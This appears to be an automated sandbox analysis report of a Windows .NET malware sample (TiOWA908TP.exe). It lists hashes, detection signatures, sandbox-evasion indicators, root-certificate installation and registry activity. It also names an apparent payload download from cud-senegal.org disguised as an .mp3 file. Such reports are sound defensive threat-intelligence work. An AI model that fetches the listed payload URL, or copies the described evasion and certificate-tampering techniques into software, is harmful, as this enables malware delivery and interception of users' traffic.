Edit tour

Windows Analysis Report
TiOWA908TP.exe

Overview

General Information

Sample name:	TiOWA908TP.exe renamed because original name is a hash value
Original sample name:	f1bbcbcf580673f86692045f0e6c1141.exe
Analysis ID:	1590837
MD5:	f1bbcbcf580673f86692045f0e6c1141
SHA1:	14b1bb7f931dad06ca86e7d1921a3dd09153fa49
SHA256:	019e924a0b82a0c448cb283cb72b47ad019ecc4de05fddbd41c983f704271c03
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Installs new ROOT certificates

Machine Learning detection for sample

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Stores large binary data to the registry

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w7x64

TiOWA908TP.exe (PID: 3228 cmdline: "C:\Users\user\Desktop\TiOWA908TP.exe" MD5: F1BBCBCF580673F86692045F0E6C1141)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.585694299.0000000005FF0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.584094234.00000000025DC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: TiOWA908TP.exe PID: 3228	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.TiOWA908TP.exe.5ff0000.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.TiOWA908TP.exe.5ff0000.6.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: TiOWA908TP.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: TiOWA908TP.exe

Virustotal: Detection: 18%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: TiOWA908TP.exe

Joe Sandbox ML: detected

Source: TiOWA908TP.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 51.159.14.89:443 -> 192.168.2.22:49163 version: TLS 1.2

Source: TiOWA908TP.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: TiOWA908TP.exe, 00000000.00000002.584094234.0000000002B54000.00000004.00000800.00020000.00000000.sdmp, TiOWA908TP.exe, 00000000.00000002.585525427.0000000004B40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: TiOWA908TP.exe, 00000000.00000002.584094234.0000000002B54000.00000004.00000800.00020000.00000000.sdmp, TiOWA908TP.exe, 00000000.00000002.585525427.0000000004B40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 4x nop then jmp 00BFDCBAh	0_2_00BFDAE0
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 4x nop then jmp 00BFDCBAh	0_2_00BFDAD1
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 4x nop then jmp 00BFD3DFh	0_2_00BFD380
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 4x nop then jmp 00BFD3DFh	0_2_00BFD370
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 4x nop then jmp 00CD35E3h	0_2_00CD3378
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 4x nop then jmp 00CD35E3h	0_2_00CD3663

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: global traffic

HTTP traffic detected: GET /post-postlogin/Gjflop.mp3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: cud-senegal.orgConnection: Keep-Alive

Source: global traffic

Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic

DNS traffic detected: DNS query: cud-senegal.org

Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: TiOWA908TP.exe, 00000000.00000002.584094234.0000000002591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: TiOWA908TP.exe, 00000000.00000002.584094234.0000000002591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cud-senegal.org
Source: TiOWA908TP.exe	String found in binary or memory: https://cud-senegal.org/post-postlogin/Gjflop.mp3
Source: TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: TiOWA908TP.exe, 00000000.00000002.584094234.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163

Source: unknown

HTTPS traffic detected: 51.159.14.89:443 -> 192.168.2.22:49163 version: TLS 1.2

Source: C:\Users\user\Desktop\TiOWA908TP.exe

Memory allocated: 770B0000 page execute and read and write

Jump to behavior

Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_002C2330	0_2_002C2330
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_002C2340	0_2_002C2340
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_003D7910	0_2_003D7910
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_003DF9E0	0_2_003DF9E0
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_003D9283	0_2_003D9283
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_003D5548	0_2_003D5548
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_003DD870	0_2_003DD870
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_003DD86C	0_2_003DD86C
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_003D1AB8	0_2_003D1AB8
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_003D1AA9	0_2_003D1AA9
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_003D5539	0_2_003D5539
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_005A3545	0_2_005A3545
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_005AE938	0_2_005AE938
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_005A7620	0_2_005A7620
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_005A6F5A	0_2_005A6F5A
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_005A6F68	0_2_005A6F68
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_005AE700	0_2_005AE700
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00A53804	0_2_00A53804
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00A50012	0_2_00A50012
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00A50040	0_2_00A50040
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00A5B1C0	0_2_00A5B1C0
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00A54A08	0_2_00A54A08
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00A515A8	0_2_00A515A8
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00BFA010	0_2_00BFA010
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00BFF570	0_2_00BFF570
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00BFF55F	0_2_00BFF55F
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00CDB5A8	0_2_00CDB5A8
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00CDB599	0_2_00CDB599
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00CD1645	0_2_00CD1645
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00CD1650	0_2_00CD1650
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00CF0F30	0_2_00CF0F30
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00CF0F2A	0_2_00CF0F2A
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D0A700	0_2_00D0A700
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D09988	0_2_00D09988
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D0DB80	0_2_00D0DB80
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D00040	0_2_00D00040
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D0F178	0_2_00D0F178
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D0A6F0	0_2_00D0A6F0
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D077F0	0_2_00D077F0
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D077E0	0_2_00D077E0
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D0997C	0_2_00D0997C
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D0DEA7	0_2_00D0DEA7
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D05E20	0_2_00D05E20
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_055EF928	0_2_055EF928
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_055D0040	0_2_055D0040
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_055D0006	0_2_055D0006
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_055EDFD0	0_2_055EDFD0

Source: TiOWA908TP.exe, 00000000.00000002.584094234.00000000025DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs TiOWA908TP.exe
Source: TiOWA908TP.exe, 00000000.00000002.584094234.0000000002B54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs TiOWA908TP.exe
Source: TiOWA908TP.exe, 00000000.00000002.584094234.00000000027BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameKaxhapdc.exe" vs TiOWA908TP.exe
Source: TiOWA908TP.exe, 00000000.00000002.583901718.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs TiOWA908TP.exe
Source: TiOWA908TP.exe, 00000000.00000002.585766002.0000000006330000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameNiiug.dll" vs TiOWA908TP.exe
Source: TiOWA908TP.exe, 00000000.00000002.585525427.0000000004B40000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs TiOWA908TP.exe
Source: TiOWA908TP.exe, 00000000.00000000.369057949.000000000117C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameUyhul.exe, vs TiOWA908TP.exe
Source: TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs TiOWA908TP.exe
Source: TiOWA908TP.exe	Binary or memory string: OriginalFilenameUyhul.exe, vs TiOWA908TP.exe

Source: TiOWA908TP.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal76.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\TiOWA908TP.exe

Mutant created: NULL

Source: TiOWA908TP.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: TiOWA908TP.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\TiOWA908TP.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\TiOWA908TP.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: TiOWA908TP.exe

Virustotal: Detection: 18%

Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Section loaded: amsi.dll	Jump to behavior

Source: C:\Users\user\Desktop\TiOWA908TP.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: TiOWA908TP.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: TiOWA908TP.exe

Static file information: File size 104857600 > 1048576

Source: TiOWA908TP.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: TiOWA908TP.exe, 00000000.00000002.584094234.0000000002B54000.00000004.00000800.00020000.00000000.sdmp, TiOWA908TP.exe, 00000000.00000002.585525427.0000000004B40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: TiOWA908TP.exe, 00000000.00000002.584094234.0000000002B54000.00000004.00000800.00020000.00000000.sdmp, TiOWA908TP.exe, 00000000.00000002.585525427.0000000004B40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.TiOWA908TP.exe.5ff0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TiOWA908TP.exe.5ff0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.585694299.0000000005FF0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.584094234.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: TiOWA908TP.exe PID: 3228, type: MEMORYSTR

Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_003DD860 pushad ; iretd	0_2_003DD861
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_003DD590 push eax; ret	0_2_003DD591
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00CF25DF push ds; iretd	0_2_00CF25E2
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D03132 pushfd ; iretd	0_2_00D03133
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D03D49 push edi; ret	0_2_00D03D7E
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_00D03D76 push edi; ret	0_2_00D03D7E
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Code function: 0_2_055D3DBD push edx; ret	0_2_055D3DBE

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Users\user\Desktop\TiOWA908TP.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Users\user\Desktop\TiOWA908TP.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

Source: C:\Users\user\Desktop\TiOWA908TP.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
